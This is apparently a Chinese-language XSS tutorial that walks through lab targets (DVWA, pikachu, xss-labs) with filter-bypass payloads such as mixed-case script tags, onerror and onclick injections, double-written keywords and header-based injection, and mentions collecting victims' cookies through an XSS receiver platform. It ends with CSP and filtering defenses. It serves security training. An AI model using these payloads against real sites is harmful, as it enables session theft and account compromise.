XSS全称(Cross Site Scripting)跨站脚本攻击(未授权的条件下不可操作)
一、分类
1、反射型
参数会经过后台解析,返回给前端显示,如果参数是带有JavaScript获取cookie的脚本,而后台未经过任何处理返回给前端,在前端就可以获取到用户的cookie信息(参数经过后台解析,一次性的)
2、存储型
参数会经过后台解析,存储到后台数据库中,如果参数是带有恶意的JavaScript脚本,每个用户访问对应页面数据时都会执行JavaScript脚本(参数经过后台解析,危害持久)
3、DOM型
参数不会经过后台解析,参数会经过前端JavaScript解析,经过JavaScript解析后显示在前端(参数经过JavaScript解析,一次性的)
二、利用
1、XSS数据接收平台
1)BlueLotus_XSSReceiver-master
1】点击《我的JS》进行如下操作
2】点击《生成payload》后复制脚本
3】进入存在xss漏洞的url页面,填写信息后提交
submit后如下
4】点击《接收面板》,由于接收数据平台的bug需要先访问http://localhost/BlueLotus_XSSReceiver-master,然后再访问http://localhost/BlueLotus_XSSReceiver-master/admin.php才会显示xss数据,显示的内容是这样的
BlueLotus_XSSReceiver-master并不是那么好用,获取到的cookie很少时候是准确的
2)在线平台
2、DVWA靶场的XSS漏洞演示
安全级别修改成Low级别
1)反射型
首先应该输入以下代码测试是否存在xss反射型漏洞(js会在页面上执行)
<script>alert(1)</script>
确定存在xss反射型漏洞后,复制js脚本
粘贴后点击Submit
xss数据接收平台就可以看到受害者提交过来的数据了
点击查看就可以看到详情
2)存储型
接下来就不使用xss数据接收平台了,测试存在xss漏洞即可
<script>alert(1)</script>
提交后
并且提交的数据都存储在数据库表中
这个漏洞的危害就是每个用户访问页面查看到这条数据时就会在页面上执行这段js
3)DOM型
输入代码会弹出1就不截图了,图片太多了
3、pikachu的XSS漏洞演示
1)反射型xss(get)
2)反射型xss(post)
3)存储型xss
4)DOM型xss
由上可知,对应的代码代码如下
' onclick='alert(1)
5)DOM型xss-x
还是和上面一样
6)xss之盲打
7)xss之过滤
查看源码了解到会经过正则表达式的过滤,只要<script不连续即可,亦可以用其他自动触发js的标签
1】可以使用大小写绕过
<ScRiPt>alert(1)</sCrIpT>
2】可以使用其他标签绕过
<img src="#" onerror="alert(/xss/)">
8)xss之htmlspecialchars
1】方法一
javascript:alert(1)
2】方法二
' onclick='alert(1)
9)xss之href输出
这关php会使用htmlspecialchars()函数对特殊字符进行转义("转成")
javascript:alert(1)
10)xss之js输出
对应的代码如下
'</script><script>alert(1)</script><script>a='
jfdd无过滤基本一个弹窗就搞定,不做详述了
4、xss-labs-master漏洞演示
我认为一般情况都是先看看网页有哪些输入点或者参数可以修改,然后使用Burp Suite抓包查看,最后看看是否会在跳转网页上执行js,我这里直接看源码算了
1)第一关
代码如下
<script>alert(1)</script>
2)第二关
对应代码
"><script>alert(1)</script><"
3)第三关
对应代码,输入之后点击一下输入框即可
'onclick='alert(1)
这样改一下可能就破不了了,因为会对双引号做转义
4)第四关
对应代码,输入之后点击一下输入框即可
" onclick="javascript:alert(1)
5)第五关
没有进行转义,代码如下
"><a href="javascript:alert(1)">xss</a><hr value="
6)第六关
没有大小写限制,代码如下
" ONCLICK="alert(1)
7)第七关
这关是把所有都替换成空,这样就可以双写绕过了
"oonnclick="alert(1)
8)第八关
href有一个自动unicode解码效果,先把javascript:alert(1)进行unicode编码,输入之后在页面上显示就是解码之后的代码,所以这关的代码如下
javascript:alert(1)
如下图,显然这是成功的
9)第九关
加上http://就行了,只能放在后面
javascript:alert(1)<!--http://-->
10)第十关
参数t_sort只把<和> 替换成空如下即可过关
?t_sort=" onclick="alert(1)" type="textarea
11)第十一关
$_SERVER['HTTP_REFERER']是获取请求头的Referer字段,使用BurpSuite修改
抓到的请求包
添加payload【Referer: " οnclick="alert(1)" type="textarea】
点击forward之后回到网页点击文本域即可
12)第十二关
$_SERVER['HTTP_USER_AGENT']是获取请求头的User-Agent字段,使用BurpSuite修改
抓到的请求包
修改payload【" οnclick="alert(1)" type="textarea】
点击forward之后回到网页点击文本域即可
13)第十三关
$_COOKIE["user"]是获取请求头的Cookie字段的user参数值,使用BurpSuite修改
抓到的请求包
修改payload【" οnclick="alert(1)" type="textarea】
点击forward之后回到网页点击文本域即可
14)第十四关
这关看不太懂
15)第十五关
ng-include属于angularjs的文件包含代码,提高代码的重用性
引用html文件的内容
加上如下参数即可
?src='xss.html'
16)第十六关
可以使用url编码方式传入参数,用%20(空格)会被替换成 ,使用%0D、%0A(回车、换行)对应代码如下
?keyword=<img%0Asrc='x'%0Donerror='alert(1)'>
17)第十七关
后面几关用到flash插件,太麻烦了
18)第十八关
19)第十九关
20)第二十关
三、防护
1、CSP安全策略
CSP即内容安全策略,下面就是限制了只能加载内部资源,如果是script脚本只能是当前域名或者是https://trusted.js.com
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' https://trusted.js.com;">
2、前后端过滤
对“<”、 “>”、”script”、”#”等进行html编码,另外可以部署web应用防火墙监控和过滤访问流量